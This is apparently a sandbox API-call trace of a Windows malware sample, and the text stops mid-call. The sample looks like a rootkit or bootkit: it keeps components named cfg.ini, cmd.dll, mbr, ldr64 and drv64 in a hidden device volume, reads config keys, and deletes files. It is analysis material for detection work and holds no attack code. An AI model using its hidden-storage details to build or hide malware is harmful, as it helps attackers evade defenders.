[0123.705] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.705] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.705] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0123.705] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.705] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0123.705] IdePortDispatch () returned 0x103 [0123.705] KeWaitForMutexObject () returned 0x0 [0123.705] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.705] KeLeaveCriticalRegion () [0123.705] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.706] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.706] KeEnterCriticalRegion () [0123.706] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.706] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0123.706] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.706] KeLeaveCriticalRegion () [0123.706] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.706] KeEnterCriticalRegion () [0123.706] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.706] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0123.706] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bed560, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0123.706] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.706] KeLeaveCriticalRegion () [0123.706] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.706] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.706] KeEnterCriticalRegion () [0123.706] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.706] ExFreePoolWithTag (P=0xfffffa8003bed4a0, Tag=0x0) [0123.706] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.706] KeLeaveCriticalRegion () [0123.706] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.706] ReleaseMutex (hMutex=0xf0) returned 1 [0123.706] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0123.706] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0123.706] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.706] KeEnterCriticalRegion () [0123.706] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.706] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.706] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0123.706] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.706] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0123.706] IdePortDispatch () returned 0x103 [0123.706] KeWaitForMutexObject () returned 0x0 [0123.707] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.707] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.707] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.707] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0123.707] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0123.707] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003beccf0 [0123.707] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.707] KeLeaveCriticalRegion () [0123.707] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.707] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.707] KeEnterCriticalRegion () [0123.707] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.707] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0123.707] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.707] KeLeaveCriticalRegion () [0123.707] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.707] KeEnterCriticalRegion () [0123.707] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.707] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.707] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0123.707] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.707] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0123.707] IdePortDispatch () returned 0x103 [0123.707] KeWaitForMutexObject () returned 0x0 [0123.708] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.708] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.708] KeLeaveCriticalRegion () [0123.708] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.708] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.708] KeEnterCriticalRegion () [0123.708] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.708] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880034fc000 [0123.708] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.708] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0123.708] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.708] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0123.708] IdePortDispatch () returned 0x103 [0123.708] KeWaitForMutexObject () returned 0x0 [0123.708] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.708] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.708] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0123.708] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.708] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0123.708] IdePortDispatch () returned 0x103 [0123.708] KeWaitForMutexObject () returned 0x0 [0123.708] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.708] KeLeaveCriticalRegion () [0123.708] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.709] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.709] KeEnterCriticalRegion () [0123.709] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.709] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0123.709] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.709] KeLeaveCriticalRegion () [0123.709] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.709] KeEnterCriticalRegion () [0123.709] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.709] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0123.709] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003beb3b0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0123.709] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.709] KeLeaveCriticalRegion () [0123.709] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.709] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.709] KeEnterCriticalRegion () [0123.709] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.709] ExFreePoolWithTag (P=0xfffffa8003beccf0, Tag=0x0) [0123.709] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.709] KeLeaveCriticalRegion () [0123.709] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.709] ReleaseMutex (hMutex=0xf0) returned 1 [0123.709] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0123.709] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0123.709] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0123.709] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0123.709] KeEnterCriticalRegion () [0123.709] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.709] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.709] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0123.709] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.709] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0123.709] IdePortDispatch () returned 0x103 [0123.710] KeWaitForMutexObject () returned 0x0 [0123.710] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0123.710] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0123.710] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0123.710] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0123.710] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0123.710] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0123.710] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0123.710] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0123.710] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0123.710] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0123.710] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.710] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.710] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.710] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.710] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.710] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.710] KeLeaveCriticalRegion () [0123.710] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.710] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0123.710] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0123.710] KeEnterCriticalRegion () [0123.710] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.710] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.710] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0123.710] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.710] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0123.710] IdePortDispatch () returned 0x103 [0123.710] KeWaitForMutexObject () returned 0x0 [0123.711] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0123.711] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0123.711] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0123.711] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0123.711] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0123.711] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0123.711] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0123.711] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0123.711] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0123.711] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0123.711] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.711] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.711] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.711] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.711] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.711] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.711] KeLeaveCriticalRegion () [0123.711] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.711] ReleaseMutex (hMutex=0x100) returned 1 [0123.711] Sleep (dwMilliseconds=0x2bf20) [0123.719] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6cf0d0f0, dwHighDateTime=0x1d24fa4)) [0123.719] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0123.719] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0123.719] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0123.719] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.719] KeEnterCriticalRegion () [0123.719] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.719] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.719] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0123.719] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.719] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0123.719] IdePortDispatch () returned 0x103 [0123.719] KeWaitForMutexObject () returned 0x0 [0123.720] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.720] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.720] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.720] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0123.720] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0123.720] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bece50 [0123.720] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.720] KeLeaveCriticalRegion () [0123.720] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.720] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.720] KeEnterCriticalRegion () [0123.720] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.720] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0123.720] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.720] KeLeaveCriticalRegion () [0123.720] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.720] KeEnterCriticalRegion () [0123.720] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.720] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.720] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0123.720] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.720] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0123.720] IdePortDispatch () returned 0x103 [0123.720] KeWaitForMutexObject () returned 0x0 [0123.720] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.720] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.720] KeLeaveCriticalRegion () [0123.721] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.721] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.721] KeEnterCriticalRegion () [0123.721] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.721] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880034ff000 [0123.721] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.721] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0123.721] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.721] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0123.721] IdePortDispatch () returned 0x103 [0123.721] KeWaitForMutexObject () returned 0x0 [0123.721] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.721] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.721] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0123.721] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.721] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0123.721] IdePortDispatch () returned 0x103 [0123.721] KeWaitForMutexObject () returned 0x0 [0123.721] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.722] KeLeaveCriticalRegion () [0123.722] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.722] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.722] KeEnterCriticalRegion () [0123.722] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.722] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0123.722] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.722] KeLeaveCriticalRegion () [0123.722] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.722] KeEnterCriticalRegion () [0123.722] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.722] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0123.722] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003beb3b0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0123.722] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.723] KeLeaveCriticalRegion () [0123.723] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.723] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.723] KeEnterCriticalRegion () [0123.723] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.723] ExFreePoolWithTag (P=0xfffffa8003bece50, Tag=0x0) [0123.723] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.723] KeLeaveCriticalRegion () [0123.723] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.723] ReleaseMutex (hMutex=0xf0) returned 1 [0123.723] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0123.723] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0123.723] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.723] KeEnterCriticalRegion () [0123.723] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.723] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.723] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0123.723] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.723] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0123.723] IdePortDispatch () returned 0x103 [0123.723] KeWaitForMutexObject () returned 0x0 [0123.723] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.723] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.723] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.723] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0123.723] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0123.723] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bed7a0 [0123.724] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: 